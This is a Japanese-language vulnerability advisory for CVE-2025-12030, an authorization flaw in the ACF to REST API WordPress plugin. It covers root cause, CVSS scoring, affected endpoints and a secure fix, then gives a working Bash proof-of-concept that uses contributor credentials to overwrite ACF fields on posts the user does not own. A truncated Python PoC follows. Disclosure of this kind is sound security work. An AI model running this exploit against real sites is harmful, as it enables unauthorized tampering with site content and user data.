CVE-2025-12030: ACF to REST API WordPressプラグインにおける安全でない直接オブジェクト参照

キーワード: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

概要

ACF to REST API WordPressプラグインのIDOR脆弱性（CVE-2025-12030） - 認証されたContributorレベルのアクセス権を持つユーザーが、自分が所有していないオブジェクトのACFフィールドを変更できるセキュリティ上の欠陥。

ACF to REST API WordPressプラグインにおいて、最小限の権限を持つ認証された攻撃者がWordPressインストール全体のACFフィールドを変更できる、安全でない直接オブジェクト参照（IDOR）の脆弱性が発見されました。

発見者: Kai Aizen (SnailSploit)
公開日: January 6, 2026
CVSSスコア: 4.3 (Medium)
CWE: CWE-639 - ユーザー制御キーによる認証バイパス
プラグイン: ACF to REST API
プラグインスラッグ: acf-to-rest-api
攻撃タイプ: 安全でない直接オブジェクト参照（IDOR）
必要な権限: Contributor+ (認証された攻撃)

脆弱性の詳細

説明

WordPress用ACF to REST APIプラグインは、バージョン3.3.4までの全バージョンにおいて、安全でない直接オブジェクト参照に対して脆弱です。これは、update_item_permissions_check() メソッドにおける機能チェックが不十分であり、現在のユーザーが edit_posts 機能を持っていることのみを確認し、オブジェクト固有の権限（例：edit_post($id)、edit_user($id)、manage_options）をチェックしていないことが原因です。

影響

この脆弱性により、Contributorレベル以上のアクセス権を持つ認証された攻撃者は以下を行うことが可能です：

自分が所有していない投稿のACFフィールドを変更 - 投稿の所有権制限をバイパス
任意のユーザーアカウントのACFフィールドを変更 - 管理者アカウントを含む
コメントのACFフィールドを変更 - コメントのメタデータを変更
タクソノミータームのACFフィールドを変更 - カテゴリ/タグのカスタムフィールドを変更
グローバルオプションページの変更 - manage_options 機能なしでサイト全体のACFオプションにアクセス

すべての変更は、/wp-json/acf/v3/{type}/{id} REST APIエンドポイントを介して可能です。

影響を受けるバージョン

脆弱性あり: バージョン3.3.4以下の全バージョン
修正済み: ⚠️ 既知の修正はありません

CVSS v3.1メトリクス```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |

**CVSS v3.1 内訳:**

- **Attack Vector (AV):** Network - この脆弱性はネットワーク経由でリモートから悪用可能
- **Attack Complexity (AC):** Low - 悪用に特別な条件は不要
- **Privileges Required (PR):** Low - 投稿者レベルの認証が必要
- **User Interaction (UI):** None - ユーザーの操作なしで悪用可能
- **Scope (S):** Unchanged - 脆弱性は影響を受けるコンポーネントのみに影響
- **Confidentiality Impact (C):** None - 情報漏洩なし
- **Integrity Impact (I):** Low - ACFフィールドの不正な変更
- **Availability Impact (A):** None - 可用性への影響なし

## 技術的詳細

### 脆弱性の根本原因

脆弱性は、認可が不十分な `update_item_permissions_check()` メソッドに存在します。```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

適切な実装では、オブジェクト固有の権限を確認する必要があります:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

### 脆弱なエンドポイント

| エンドポイント | 対象 | 必要な権限（あるべき姿） |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 投稿 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 固定ページ | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | ユーザー | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | コメント | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | ターム | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | オプション | `manage_options` |

### 攻撃ベクトル```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

この脆弱性は、WordPress REST APIを通じて、Contributorロール以上の認証済みユーザーによって悪用される可能性があります。

概念実証

⚠️ 教育および認可されたテスト目的のみに使用してください

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

CVE-2025-12030

人気